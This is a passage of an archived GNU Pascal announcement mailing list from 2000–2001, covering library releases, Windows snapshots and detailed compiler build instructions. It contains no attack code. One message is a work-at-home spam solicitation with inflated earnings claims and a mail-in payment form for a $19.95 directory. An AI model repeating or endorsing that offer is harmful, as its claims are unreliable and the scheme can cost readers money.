Mutt/1.0pre3i Sender: owner-gpc-announce@gnu.de Precedence: bulk --SUOF0GtieIMvvwua Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Svgalib-GPC is a set of graphics units for GNU-Pascal. The units are the rewriting of data contained in the header include files included in the Svgalib distribution, in a manner which make it easy for Pascal programmers to use Svgalib without needing to rewrite prototypes. Most units just contain the prototypes for using Svgalib functions, with some adjustments regarding Boolean return values and CString stuff. The keyboard units (raw and normal mode) yet are rewritten using TFDD capabilities (and thanks to Frank for the explanation) and they seem to work well. I think the package is alright but I haven't tested it out much. So current status is neither of alpha, beta, gamma, delta, YOU have to tell me :-) The full library is distributed under the GNU LGPL. For details read the file COPYING.LIB contained in the tarball. Svgalib-GPC needs the latest alpha version of GPC, because of the TFDD stuff, and it's not that portable, in fact I think it's useable for Linux/x86 only, but it might work under other systems with svgalib4ggi. If you're going to test it for me, please tell me about the results. There are not good demos in the tarball to show you the capabilities of this all, and I'm not spending much time coding new features or demos. I think I'll improve this just if I get feedback and requests :-) Just because I enjoy only if people use what I code :-) If you have to report bugs, suggestions, requests, write to me at this address girardi@keycomm.it The site where you can find a bit more details about the units and download the current tarball is: http://agnes.dida.physik.uni-essen.de/~nicola/ Thanks to: Frank Heckenbach for help with TFDD stuff and for getting me to release this and Peter Gerwinski for the account on agnes. Have fun :) --=20 Nicola Girardi Key fingerprint =3D 5D9E ED36 C2E9 EF8F C4B6 25C2 3FF4 E5A2 27A7 83B9 GnuPG Key at http://agnes.dida.physik.uni-essen.de/~nicola/gpg-plan --SUOF0GtieIMvvwua Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.1 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE4toZ/P/Tloieng7kRAcqzAKCOSYXD86nkob1bOUj9EcqcOe30PgCghdKA l+HEunHmk34hceZlw7zOzvY= =3Xtc -----END PGP SIGNATURE----- --SUOF0GtieIMvvwua-- From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 15793 invoked from network); 16 Mar 2000 17:40:25 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 16 Mar 2000 17:40:25 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA01515 for gpc-announce@gnu.de; Thu, 16 Mar 2000 18:39:36 +0100 Received: (qmail 15758 invoked from network); 16 Mar 2000 17:39:47 -0000 Received: from owat.kis.keele.ac.uk (160.5.46.3) by tim.gerwinski.de with SMTP; 16 Mar 2000 17:39:47 -0000 Received: from pc06.law.keele.ac.uk ([160.5.76.32] helo=chiefpro) by owat.kis.keele.ac.uk with esmtp (Exim 2.12 #2) id 12VeFW-0004DE-00 for gpc-announce@gnu.de; Thu, 16 Mar 2000 17:39:54 +0000 From: "Dr A Olowofoyeku" To: gpc-announce@gnu.de Date: Thu, 16 Mar 2000 17:38:24 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: GPC for Mingw32 X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi all A new snapshot of GPC (Mingw32) has been uploaded to Agnes. This is based on Peter's recent native Mingw32 build (based on gcc 2.95.1). The file is: ftp://agnes.dida.physik.uni-essen.de/home/chief/ gpc-20000202-i586-mingw32.zip If you unzip (with an unzip program that understands long filenames) into 'c:\usr\', reproducing the directory structure in the zip file, you should have a ready-to-run and stable Win32 snapshot of GPC (you just need to add 'c:\usr\local\bin' to the PATH). Best regards, The Chief ----- Dr Abimbola A Olowofoyeku (The African Chief) Email: African_Chief@bigfoot.com Author of Chief's Installer Pro v5.22 for Win32 http://www.bigfoot.com/~African_Chief/chief32.htm From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 25343 invoked from network); 17 Mar 2000 02:05:30 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 17 Mar 2000 02:05:29 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id DAA02324 for gpc-announce@gnu.de; Fri, 17 Mar 2000 03:04:33 +0100 Received: (qmail 25132 invoked from network); 17 Mar 2000 02:03:54 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 17 Mar 2000 02:03:54 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id DAA02313 for gpc-announce@gnu.de; Fri, 17 Mar 2000 03:02:58 +0100 Date: Fri, 17 Mar 2000 03:02:58 +0100 From: Peter Gerwinski To: gpc-announce@gnu.de Subject: Documentation list Message-ID: <20000317030258.J655@esmeralda.gerwinski.de> Mail-Followup-To: gpc-announce@gnu.de Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i Sender: owner-gpc-announce@gnu.de Precedence: bulk Hello, we now have a separate list for documenting GPC. Everyone who wants to contribute to the GPC documentation project is invited to join. We have splitted this list from the main GPC list because some documentation issues are not of interest for users of GPC. (For instance, spelling wars are off-topic on the ordinary GPC list, but they can be on-topic on the GPC documentation list.:-) The GPC documentation list is . To subscribe to the list, write a message containing "subscribe gpc-doc" in the body to . (The subject will be ignored.) Happy hacking, Peter -- http://home.pages.de/~Peter.Gerwinski/ - G-N-U GmbH: http://www.g-n-u.de Maintainer GNU Pascal - http://home.pages.de/~GNU-Pascal/ - gpc-19990118 GnuPG key fingerprint: 9E7C 0FC4 8A62 5536 1730 A932 9834 65DB 2143 9422 keys: ftp://ftp.gerwinski.de/pub/keys/ - AntiSpam: http://spam.abuse.net From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 10696 invoked from network); 17 Mar 2000 12:34:39 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 17 Mar 2000 12:34:39 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id NAA02313 for gpc-announce@gnu.de; Fri, 17 Mar 2000 13:34:44 +0100 Received: (qmail 10643 invoked from network); 17 Mar 2000 12:33:03 -0000 Received: from owat.kis.keele.ac.uk (160.5.47.3) by tim.gerwinski.de with SMTP; 17 Mar 2000 12:33:03 -0000 Received: from pc06.law.keele.ac.uk ([160.5.76.32] helo=chiefpro) by owat.kis.keele.ac.uk with esmtp (Exim 2.12 #2) id 12Vvwu-0002Lg-00 for gpc-announce@gnu.de; Fri, 17 Mar 2000 12:33:53 +0000 From: "Dr A Olowofoyeku" To: gpc-announce@gnu.de Date: Fri, 17 Mar 2000 12:32:19 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: GPC: Win32 API import units X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi all You can get the latest version of my ongoing work of translating the GCC WinAPI headers to GPC import units from agnes (in the directory: ftp://agnes.dida.physik.uni-essen.de/home/chief/). The sources (messages.pas, wintypes.pas and winprocs.pas) are in: ftp://agnes.dida.physik.uni-essen.de/home/chief/winapi-src.zip The precompiled units are in: ftp://agnes.dida.physik.uni-essen.de/home/chief/winapi-bin.zip. I suggest that you put the precompiled units in your GPC 'units' directory, and keep the sources elsewhere (where they won't be located automatically by the compiler). That way you will get much faster compiles and links (two of the units are quite huge, and until automake is fixed, you don't want GPC to try and compile them all the time). Since the original GCC headers are LGPL, I guess that this makes my Pascal translations LGPL as well. If anyone wishes to help to debug/test/develop/complete these units, please feel free to jump in! I have been working on this for about a year, and it is quite clear that it is way beyond the capacity of one person to complete. Best regards, The Chief ----- Dr Abimbola A Olowofoyeku (The African Chief) Email: African_Chief@bigfoot.com Author of Chief's Installer Pro v5.22 for Win32 http://www.bigfoot.com/~African_Chief/chief32.htm From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 11170 invoked from network); 6 Jul 2000 23:53:57 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 6 Jul 2000 23:53:57 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id BAA31325 for gpc-announce@gnu.de; Fri, 7 Jul 2000 01:58:54 +0200 Received: (qmail 11146 invoked from network); 6 Jul 2000 23:51:57 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 6 Jul 2000 23:51:57 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id BAA31313 for gpc-announce@gnu.de; Fri, 7 Jul 2000 01:56:54 +0200 Date: Fri, 7 Jul 2000 01:56:53 +0200 From: Peter Gerwinski To: gpc-announce@gnu.de Subject: GPC alpha release and GPC CVS server Message-ID: <20000707015653.H12215@esmeralda.gerwinski.de> Mail-Followup-To: gpc-announce@gnu.de Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i Sender: owner-gpc-announce@gnu.de Precedence: bulk Hello, folks! This is the announcement of a new alpha version of GPC: gpc-20000705 We also have set up a CVS server where you can always check out the current development snapshot. Alpha snapshots are now going to be released much more frequently. At the same time we have updated the GPC WWW pages. They now contain the GPC documentation in HTML, DVI and PS format which are updated automatically with the GPC source. The instructions below are an extract from the new `INSTALL' file. For a list of new features in this release, see the section `news' on the GPC WWW pages and/or in the GPC documentation. For fixed bugs, see the GPC TODO list at the same places. Have fun, the GNU Pascal development team Where and what to download ========================== The master server for GNU Pascal is `agnes.dida.physik.uni-essen.de'. Official and beta releases of the compiler with sources and binaries for many platforms as well as other GNU Pascal related files can be found in `ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/' You can find binary distributions for many platforms in the subdirectory `binary'. The archive files are named `gpc-VERSION.PLATFORM.EXTENSION' - for example `gpc-2.1.alpha-unknown-linux-gnu.tar.gz' for GPC version 2.1 on an Alpha workstation running the Linux kernel with GNU C Library, or `gpc-20000616.i586-pc-djgppv201.zip' for GPC version 20000616 on an i586 PC running DOS with DJGPP version 2.01. After you have downloaded the correct archive file for your platform, please read the installation notes on how to install such a binary distribution. If you are running Dos or MS Windows, you will need additional tools - see "What else to download and where" below. Current snapshots ----------------- GNU Pascal is subject to steady development. You can download the current snapshot (source only, use at your own risk) via anonymous FTP from: `ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/alpha/' or via anonymous CVS from: CVS root: :pserver:anonymous@agnes.dida.physik.uni-essen.de:/usr/local/cvsroot Password: anonymous Command: checkout gpc Please read the installation notes on how to compile the source from a distribution or a CVS checkout. Compiling GPC ============= The preferred way to distribute GNU software is distribution of the source code. However, it can be a non-trivial exercise to build GNU Pascal on some non-Unix systems, so we also provide ready-to-run binaries for a number of platforms. (See above for how to install a binary distribution.) GPC is based on the GNU Compiler Collection, GNU CC or GCC. You will need the GCC sources to build it. It must be the same version as the one GPC is implemented with - `version 2.95.x' as of this writing. Although you need GCC to build the GNU Pascal compiler, you don't need GCC to compile Pascal programs once GNU Pascal is installed. (However, using certain libraries will require compiling C wrappers, so it is a good idea to install the C compiler as well.) Because GNU Pascal shares its back-end with GCC, it should run on any system supported by GCC. A full list of platforms supported by GCC can be found in the GCC installation instructions. The GCC source can be obtained from any mirror of the GNU FTP site, `ftp://ftp.gnu.org/gnu/gcc/'. The "core" distribution is sufficient for GPC. Here is the generic procedure for installing GNU Pascal on a Unix system. See below for extra information needed to install GPC on DOS-like platforms. 1. Checking the prerequisites Make sure that GNU make is installed. (In the following, we will simply speak of `make' when invoking GNU make; you might need to call `gmake' instead.) For extracting the example programs from the documentation to the `doc/docdemos' directory a non-crippled `sed' is needed. GNU sed is known to work. If you have checked out the GPC source from CVS, you will have to rebuild most derived files, so you will need additional tools: `bison', `flex', `makeinfo', `gperf', and `autoconf'. Make sure that these are installed. If you want to build the GPC WWW pages you will also need: `texi2html' version 1.61 (older versions are missing some needed features; newer versions suffer from a bug), `texi2dvi', TeX, `gzip', `dvips', `dviselect', and `dviconcat'. If you run into trouble during the installation process, please check whether you are using outdated versions of the required utilities and upgrade if necessary. The GNU versions of the packages above are available from the GNU FTP server (ftp://ftp.gnu.org) or any of its mirrors. Package PACKAGE is usually located in the directory `gnu/PACKAGE'. 2. Unpacking the source From a directory of your choice (e.g. `/home/fred'), unpack the GCC and GNU Pascal source distributions. This will create separate subdirectories for GCC and GPC. Let us assume `gcc-2.95.1' and `gpc-20000535' in this example. % cd /home/fred % gzip -c -d gcc-core-2.95.1.tar.gz | tar xf - % gzip -c -d gpc-20000535.tar.gz | tar xf - `cd' to the GPC directory and move the contents (a subdirectory `p') to the subdirectory `gcc' of the GCC directory: % cd /home/fred/gpc-20000535 % mv p /home/fred/gcc-2.95.1/gcc/ It is recommended, though not required, to use a separate directory for building the compiler, rather than compiling in the source directory. In this example, let us create `/home/fred/gpc-build' for this purpose: % mkdir /home/fred/gpc-build If you use a separate directory, you do not need to write into the GCC source directory once you have patched the GCC source (see below), and can build GPC for more than one platform from the same source tree. In case you are re-using a directory where you have already built GCC and/or GPC for a different target machine, do `make distclean' to delete all files that might be invalid. One of the files this deletes is `Makefile'; if `make distclean' complains that `Makefile' does not exist, it probably means that the directory is already suitably clean. 3. Configuring and building GCC GNU Pascal is automatically configured with GCC. Configuration of GCC is treated in depth in the GCC installation instructions. The normal procedure is as follows: `cd' to the GPC build directory. From there, run the `configure' script in the GCC source directory: % cd /home/fred/gpc-build % /home/fred/gcc-2.95.1/configure --enable-languages=pascal This creates all the necessary config files, links and Makefile in the GCC object directory. Note 1: The configuration will prompt you for patching the GCC source for GPC support, so you need write access to that directory. All changes to GCC are surrounded by `#ifdef GPC ... #endif', so they should not interfere when you build a C compiler from this source tree. Note 2: The `--enable-languages=pascal' option means that we only want to build the Pascal compiler and not, for instance, the C++ compiler. Note 3: The standard directory for installing GCC and GPC is `/usr/local/lib'. If you want to install files to an alternate directory DIR, specify `--prefix=DIR' when you run `configure'. 4. Putting other GNU tools in place Some environments require other GNU tools (such as the GNU assembler or linker) instead of the standard system tools for GCC to work. (See the GCC installation instructions for details.) If this is the case for your system, install the required tools in the GPC build directory under the names `as', `ld', or whatever is appropriate. This will enable the compiler to find the proper tools for compilation of the program `enquire' (a part of GCC) and to install the GNU tools to a place where they are found by GCC but do not interfere with the standard system tools. Alternatively, you can do subsequent compilation using a value of the `PATH' environment variable such that the necessary GNU tools come before the standard system tools. 5. Compiling GPC Once you are satisfied with the configuration as determined by `configure', you can build the compiler: % make Notice that this procedure will build the C compiler (and maybe some other compilers) too, because that is used to compile the GPC runtime library. Optionally, you may supply CFLAGS, LDFLAGS or RTSFLAGS. CFLAGS is used for compiler and RTS, RTSFLAGS are for RTS only, i.e.: `make CFLAGS="-O2" RTSFLAGS=-Wall' 6. Completing the installation When everything has been compiled, you can check the installation process with: % make -n install To complete the installation, run the command `make install'. You need write access to the target directories (`/usr/local/bin', `/usr/local/lib', `/usr/local/info', `/usr/local/doc', and `/usr/local/man' in this example), so this is usually done as `root': % su -c "make install" If you want to install *only* the Pascal compiler (for example if you already have the correct version of GCC installed), `cd' to the `gcc' subdirectory of the build directory (e.g. `/home/fred/gpc-build/gcc') and run `make pascal.install'. This installation process does *not* overwrite existing copies of `libgcc.a' or `specs', should they exist. Also from the `gcc' subdirectory you can do some more "exotic" builds. For instance, you can build the GPC WWW pages by typing `make pascal.html' or a binary distribution by typing `make pascal.bindist'. See the `Makefile' in that directory for more examples. Have fun with GPC! From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 12315 invoked from network); 7 Jul 2000 00:53:46 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 7 Jul 2000 00:53:46 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id CAA31642 for gpc-announce@gnu.de; Fri, 7 Jul 2000 02:58:42 +0200 Received: (qmail 12288 invoked from network); 7 Jul 2000 00:52:05 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 7 Jul 2000 00:52:05 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id CAA31613 for gpc-announce@gnu.de; Fri, 7 Jul 2000 02:57:00 +0200 Date: Fri, 7 Jul 2000 02:57:00 +0200 From: Peter Gerwinski To: gpc-announce@gnu.de Subject: LOCAL: GPC workshop in Essen, Germany Message-ID: <20000707025700.I12215@esmeralda.gerwinski.de> Mail-Followup-To: gpc-announce@gnu.de Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i Sender: owner-gpc-announce@gnu.de Precedence: bulk Hello, GPC folks, the Essener Linux User Group (ELUG) is organising a workshop on GNU Pascal: Weekend 29./30. July 2000 Villa Vogelsang, Antonienallee 1 45279 Essen Steele-Horst, Germany http://www.villa-vogelsang.de ("Linux Hotel") The primary language will be German. (However the speaker (myself;-) and probably most of the participants can also speak English.) Details will be published (in German) on the ELUG web site (http://www.elug.de). For even more details, please ask the Essener Linux User Group on their mailing list or Anja Drewitz who organises the event. See you, Peter -- http://home.pages.de/~Peter.Gerwinski/ - G-N-U GmbH: http://www.g-n-u.de Maintainer GNU Pascal - http://home.pages.de/~GNU-Pascal/ - gpc-19990118 GnuPG key fingerprint: 9E7C 0FC4 8A62 5536 1730 A932 9834 65DB 2143 9422 keys: http://www.gerwinski.de/pubkeys/ - AntiSpam: http://spam.abuse.net From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 2037 invoked from network); 15 Aug 2000 09:09:45 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 15 Aug 2000 09:09:45 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id LAA15771 for gpc-announce@gnu.de; Tue, 15 Aug 2000 11:10:18 +0200 Received: (qmail 981 invoked from network); 15 Aug 2000 06:58:59 -0000 Received: from mond.dida.physik.uni-essen.de (132.252.78.233) by tim.gerwinski.de with SMTP; 15 Aug 2000 06:58:59 -0000 Received: from mond (localhost [127.0.0.1]) by mond.dida.physik.uni-essen.de (8.9.3/8.9.3/Debian/GNU) with SMTP id IAA10581 for ; Tue, 15 Aug 2000 08:54:54 GMT From: Eike Lange Reply-To: eike.lange@uni-essen.de To: gpc-announce@gnu.de Subject: Announcement: MysqlUnit Date: Tue, 15 Aug 2000 08:39:00 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00081508545400.10539@mond> Content-Transfer-Encoding: 8bit Sender: owner-gpc-announce@gnu.de Precedence: bulk I am pleased to announce the version 0.7 of DBATMS (DataBase Access Toy or Toolkit or whatever you like) for MySql. DBATMS is a unit, that allows you to access to mysql-server and query some data out of your databases. Please read at least the top of dbatms.pas carefully. Not all of the Myql-API Functions are implemented. Nearly 70% are usable. I have tested the Unit under Linux with mysql Version 3.22.X. Please send bug-reports and comments directly to Eike Lange, eike.lange@uni-essen.de You can get dbatms0.7.tar.gz via anonymous ftp from: ftp://agnes.dida.physik.uni-essen.de/home/lange/ Eike Lange From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 30572 invoked from network); 21 Aug 2000 20:09:28 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 21 Aug 2000 20:09:28 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id WAA00637 for gpc-announce@gnu.de; Mon, 21 Aug 2000 22:10:02 +0200 Received: (qmail 18524 invoked from network); 21 Aug 2000 07:29:10 -0000 Received: from mond.dida.physik.uni-essen.de (132.252.78.233) by tim.gerwinski.de with SMTP; 21 Aug 2000 07:29:10 -0000 Received: from mond (localhost [127.0.0.1]) by mond.dida.physik.uni-essen.de (8.9.3/8.9.3/Debian/GNU) with SMTP id JAA15282 for ; Mon, 21 Aug 2000 09:25:05 GMT From: Eike Lange Reply-To: eike.lange@uni-essen.de To: gpc-announce@gnu.de Subject: Announcement: PostgreSQL-Unit Date: Mon, 21 Aug 2000 09:21:52 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00081508545400.10539@mond> Content-Transfer-Encoding: 8bit Sender: owner-gpc-announce@gnu.de Precedence: bulk I am pleased to announce the version 0.5 of DBATPG (DataBase Access Toy or Toolkit or whatever you like) for PostgreSQL. DBATPG is a unit, that allows you to access to postgreSQL-server and query some data out of your databases. Please read at least the top of dbatpg.pas carefully. Not all of the PostgreSQL-API Functions are implemented. More than 50% are usable, the large-object API is missing. I have tested the Unit under Linux with postgresql Version 6.5.X. Please send bug-reports and comments directly to Eike Lange, eike.lange@uni-essen.de You can get dbatpg0.5.tar.gz via anonymous ftp from: ftp://agnes.dida.physik.uni-essen.de/home/lange/ Eike Lange From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 30576 invoked from network); 21 Aug 2000 20:09:33 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 21 Aug 2000 20:09:32 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id WAA00645 for gpc-announce@gnu.de; Mon, 21 Aug 2000 22:10:06 +0200 Received: (qmail 18601 invoked from network); 21 Aug 2000 07:31:58 -0000 Received: from mond.dida.physik.uni-essen.de (132.252.78.233) by tim.gerwinski.de with SMTP; 21 Aug 2000 07:31:58 -0000 Received: from mond (localhost [127.0.0.1]) by mond.dida.physik.uni-essen.de (8.9.3/8.9.3/Debian/GNU) with SMTP id JAA15286 for ; Mon, 21 Aug 2000 09:27:57 GMT From: Eike Lange Reply-To: eike.lange@uni-essen.de To: gpc-announce@gnu.de Subject: Announcement: Gnu DBM-Unit Date: Mon, 21 Aug 2000 09:25:09 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00081508545400.10539@mond> Content-Transfer-Encoding: 8bit Sender: owner-gpc-announce@gnu.de Precedence: bulk I am pleased to announce the version 0.7 of DBATGDBM (DataBase Access Toy or Toolkit or whatever you like) for Gnu DBM. DBATGDBM is a unit, that allows you to access to GDBM-files. Please read at least the top of dbatgdbm.pas carefully. Not all of the GDBM-functions are implemented. Nearly 70% are usable and the compatibility-routines are missing completely I have tested the Unit under Linux. Please send bug-reports and comments directly to Eike Lange, eike.lange@uni-essen.de You can get dbatgdbm0.7.tar.gz via anonymous ftp from: ftp://agnes.dida.physik.uni-essen.de/home/lange/ Eike Lange From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 275 invoked from network); 8 Sep 2000 17:15:41 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 8 Sep 2000 17:15:41 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id TAA29327 for gpc-announce@gnu.de; Fri, 8 Sep 2000 19:18:07 +0200 Received: (qmail 24426 invoked from network); 8 Sep 2000 11:40:29 -0000 Received: from softdnserror (HELO dp.digipower.co.kr) (211.108.3.69) by tim.gerwinski.de with SMTP; 8 Sep 2000 11:40:29 -0000 Received: from 6sGHX78Ex (unverified [168.191.246.29]) by dp.digipower.co.kr (EMWAC SMTPRS 0.83) with SMTP id ; Fri, 08 Sep 2000 20:38:43 +0900 DATE: 08 Sep 00 4:46:13 AM FROM: asdcvb2000@yahoo.com Message-ID: <2XH9266m2YDW78S> SUBJECT: Full Time/part time Jobs from home To: undisclosed-recipients: ; Sender: owner-gpc-announce@gnu.de Precedence: bulk Researched, Legitimate... Work-At-Home Jobs and Opportunities! ** HOMEWORKERS NEEDED ** Choose from hundreds of EASY JOBS and other opportunities that are now available! Over 200 legitimate companies NOW HIRING! Make excellent pay! Yes!!... You can increase your income by performing assembly or clerical work in your home! Introducing the . . .. Home Employment Directory (The Ultimate Work-At-Home Source Book) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Who are these companies listed in our Home Employment Directory? Over 200 EXCELLENT companies especially researched and selected - Now hiring people to work for them at home. There is a large selection of jobs available. (See list below). The Home Employment Directory is packed full of great home based jobs. Our company has researched thousands of businesses that offer home-based employment for over 16 years. We check on any business that we are unfamiliar with before we accept them into our program. Our vast experience allows us to use our insider knowledge of this industry. In addition, we check with there local Better Business Bureau or with local government sources. Most of the companies in our program have proven themselves and have been with us for a long time. We also update our data on these companies at least annually. The Home Employment Directory offers the best work-at-home employment opportunities in the USA and some in Canada. This Directory includes the names and addresses of each company with a full description of the assembly or clerical work offered. Our goal at S M A is to provide you with the most up to date and current true opportunities for home work. Most of the assembly opportunities require no special training, skills, or equipment. Their instructions are easy to follow and understand, and can be mastered immediately. Many of the companies will train you to work with them and several of them provide work that can also be done by disabled people. If you are looking to find out about the best work-at-home opportunities available on a national scale then this is the information you've been looking for. Contact these companies directly and work for as many as you like that is willing to pay you to perform a service or task at home or based from your home. Start making money for the things you've always wanted right from the comforts of your own home. It is by the far the best of it's kind anywhere in the world. We guarantee it! Why do companies employ home-based workers? There are many reasons but, the bottom line is cost. Companies can save money on: office space, office equipment and machines, and not having to hire full time employees when they won't need them year round. This can make it less expensive for some companies to farm-out certain tasks or jobs. This is good news for people like you who are looking for legitimate opportunities to make an extra income from home. The hard part is finding these opportunities - but easily available to you through the Home Employment Directory. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * A variety of work available! Some of the EASY types of clerical work jobs available are: Newspaper Clipping Photography Computer work Consumer opinions Greeting Service Compiling Names Supermarket Promotion Photography work Artwork for greeting cards Temp work Transcription work Translation work Writing assignments And much more... There are numerous companies offering a variety of products that need assembly work. These products appeal to both men and women. Some of the EASY types of assembly and craft work jobs available are: Toys & gifts Needle work Electronic components Leather products String art stuffed animals Baby burp pads Jewelry Art work for greeting cards Potpourri - sachets Dough art Wood puppets Holiday decorations Hand painting Doll house furniture And much more . . . * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Financial Freedom in your own home!! Earn Money Immediately! You can be part of the growing family of independent minded men and women across the country who have decided to take their fate into their own hands and wish to be their own boss. The financial rewards can run from just a few HUNDREDS OF DOLLARS a week on a part-time basis to THOUSANDS OF DOLLARS per month on a full-time basis. It all depends on how hard a person is willing to work to pursue his or her goals. You're only limited by your own desires and motivation! Your place of residence is unimportant! As long as the U.S. Postal Service or United Parcel Service can make deliveries to your address, you can enjoy the benefits of working at home. This year 1.2 million employees will spend more than 35 hours per week working at home in some form of formal arrangement with there firm. That's more than a 30% increase from just one year ago! Whatever your situation is... whether you're a housewife or student, work part-time or full-time, even a senior citizen, who is handicap, or just don't like the hassle of a regular 9:00 - 5:00 job... there are companies that will hire you to work in your own home! TAKE ADVANTAGE OF THIS UNIQUE OPPORTUNITIES TODAY - LIMITED JOB OPENINGS SO ACT NOW!! The Home Employment Directory - just $19.95(Shipping and Handling included), CA residents please add sales Tax (8.25%) We Accepts: Cash, Personal Checks, Money Orders and, Cashiers Checks Print the following form and mail it to: S M A 1300 N. Cahuenga Blvd Suite#292 Hollywood, CA 90028 Ship to: ______________________________________________ Shipping Address: _____________________________________ City: ________________________________________________ State: _______________________________________________ Zip Code: ____________________________________________ Your email: ___________________________________________ Your telephone #: ______________________________________ Make check payable to: S M A All orders ship within 24 hours. To be removed from our future mailing please email asdcvb2000@yahoo.com and you will be removed instantly. From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 11095 invoked from network); 10 Jan 2001 00:31:54 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 10 Jan 2001 00:31:54 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id BAA05332 for gpc-announce@gnu.de; Wed, 10 Jan 2001 01:32:16 +0100 Received: (qmail 10865 invoked from network); 10 Jan 2001 00:23:46 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 10 Jan 2001 00:23:46 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id BAA05235 for gpc-announce@gnu.de; Wed, 10 Jan 2001 01:24:08 +0100 Date: Wed, 10 Jan 2001 01:24:03 +0100 From: Peter Gerwinski To: gpc-announce@gnu.de Subject: [thorsten.hindermann@arcormail.de: pindent (the pascal source-code indentation program) is now available] Message-ID: <20010110012403.F1844@esmeralda.gerwinski.de> Mail-Followup-To: gpc-announce@gnu.de Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i Sender: owner-gpc-announce@gnu.de Precedence: bulk (Forwarded from the discussion list to the announce list) ----- Forwarded message from Thorsten Hindermann ----- Date: Tue, 09 Jan 2001 23:34:28 +0100 From: Thorsten Hindermann To: GPC 